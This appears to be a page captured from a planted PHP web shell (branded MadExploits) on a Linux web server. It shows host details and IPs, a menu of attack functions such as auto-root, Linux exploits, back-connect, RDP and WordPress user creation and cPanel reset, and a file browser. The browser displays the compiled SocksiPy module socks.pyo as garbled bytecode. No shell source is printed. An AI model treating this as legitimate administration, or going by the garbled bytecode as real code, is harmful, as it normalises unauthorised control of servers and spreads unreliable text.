Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 18.191.171.121
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
site-packages /
httplib2 /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.py
79.86
KB
-rw-r--r--
__init__.pyc
60.23
KB
-rw-r--r--
__init__.pyo
60.23
KB
-rw-r--r--
cacerts.txt
132.37
KB
-rw-r--r--
certs.py
1023
B
-rw-r--r--
certs.pyc
1.23
KB
-rw-r--r--
certs.pyo
1.23
KB
-rw-r--r--
iri2uri.py
4.03
KB
-rw-r--r--
iri2uri.pyc
3.68
KB
-rw-r--r--
iri2uri.pyo
3.68
KB
-rw-r--r--
socks.py
19.18
KB
-rw-r--r--
socks.pyc
17.44
KB
-rw-r--r--
socks.pyo
17.44
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : socks.pyo
� x��^c @ sa d Z d d l Z d d l Z d d l Z d d l Z e e d d � d k r] e d � � n d Z d Z d Z d Z d a e j Z d e f d � � YZ d e f d � � YZ d e f d � � YZ d e f d � � YZ d e f d � � YZ d e f d � � YZ d1 Z d2 Z d3 Z d4 Z d d d e d d d- � Z d. � Z d/ e j f d0 � � YZ d S(5 s SocksiPy - Python SOCKS module. Version 1.00 Copyright 2006 Dan-Haim. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of Dan Haim nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE. This module provides a standard socket-like interface for Python for tunneling connections through SOCKS proxies. Minor modifications made by Christopher Gilbert (http://motomastyle.com/) for use in PyLoris (http://pyloris.sourceforge.net/). Minor modifications made by Mario Vilas (http://breakingcode.wordpress.com/) mainly to merge bug fixes found in Sourceforge. i����Nt sockets- socket.socket missing, proxy support unusablei i i i t ProxyErrorc B s e Z RS( ( t __name__t __module__( ( ( s2 /usr/lib/python2.7/site-packages/httplib2/socks.pyR 7 s t GeneralProxyErrorc B s e Z RS( ( R R ( ( ( s2 /usr/lib/python2.7/site-packages/httplib2/socks.pyR ; s t Socks5AuthErrorc B s e Z RS( ( R R ( ( ( s2 /usr/lib/python2.7/site-packages/httplib2/socks.pyR ? s t Socks5Errorc B s e Z RS( ( R R ( ( ( s2 /usr/lib/python2.7/site-packages/httplib2/socks.pyR C s t Socks4Errorc B s e Z RS( ( R R ( ( ( s2 /usr/lib/python2.7/site-packages/httplib2/socks.pyR G s t HTTPErrorc B s e Z RS( ( R R ( ( ( s2 /usr/lib/python2.7/site-packages/httplib2/socks.pyR K s t successs invalid datas not connecteds not availables bad proxy types bad inputt succeededs general SOCKS server failures! connection not allowed by rulesets Network unreachables Host unreachables Connection refuseds TTL expireds Command not supporteds Address type not supporteds Unknown errors authentication is requireds0 all offered authentication methods were rejecteds$ unknown username or invalid passwords unknown errors request granteds request rejected or failedsL request rejected because SOCKS server cannot connect to identd on the clientsP request rejected because the client program and identd report different user-idsc C s | | | | | | f a d S( s� setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password]]]]) Sets a default proxy which all further socksocket objects will use, unless explicitly changed. N( t _defaultproxy( t proxytypet addrt portt rdnst usernamet password( ( s2 /usr/lib/python2.7/site-packages/httplib2/socks.pyt setdefaultproxyw s c C s+ t d k r t | j _ n t d � � d S( s7 wrapmodule(module) Attempts to replace a module's socket library with a SOCKS socket. Must set a default proxy using setdefaultproxy(...) first. This will only work on modules that import socket directly into the namespace; most of the Python Standard Library falls into this category. i s no proxy specifiedN( i s no proxy specified( R t Nonet socksocketR R ( t module( ( s2 /usr/lib/python2.7/site-packages/httplib2/socks.pyt wrapmodule� s R c B s� e Z d Z e j e j d d d � Z d � Z d � Z d � Z d � Z d d d e d d d d � Z d � Z d � Z d � Z d � Z d � Z d � Z d � Z RS( s socksocket([family[, type[, proto]]]) -> socket object Open a SOCKS enabled socket. The parameters are the same as those of the standard socket init. In order for SOCKS to work, you must specify family=AF_INET, type=SOCK_STREAM and proto=0. i c C sY t j | | | | | � t d k r1 t | _ n d | _ d | _ d | _ t | _ d S( N( NNNNNN( t _orgsockett __init__R R t _socksocket__proxyt _socksocket__proxysocknamet _socksocket__proxypeernamet Truet _socksocket__httptunnel( t selft familyt typet protot _sock( ( s2 /usr/lib/python2.7/site-packages/httplib2/socks.pyR � s c C sd | j | � } xN t | � | k r_ | j | t | � � } | sR t d � � n | | } q W| S( s� __recvall(count) -> data Receive EXACTLY the number of bytes requested from the socket. Blocks until the required number of bytes have been received. i s connection closed unexpectedly( i s connection closed unexpectedly( t recvt lenR ( R t countt datat d( ( s2 /usr/lib/python2.7/site-packages/httplib2/socks.pyt __recvall� s c G s4 | j s | j | � } n t t | � j | | � S( sq override socket.socket.sendall method to rewrite the header for non-tunneling proxies if needed ( R t _socksocket__rewriteproxyt superR t sendall( R t contentt args( ( s2 /usr/lib/python2.7/site-packages/httplib2/socks.pyR+ � s c C sT d \ } } | j d � } x_ | D]W } | j � j d � rF | } q"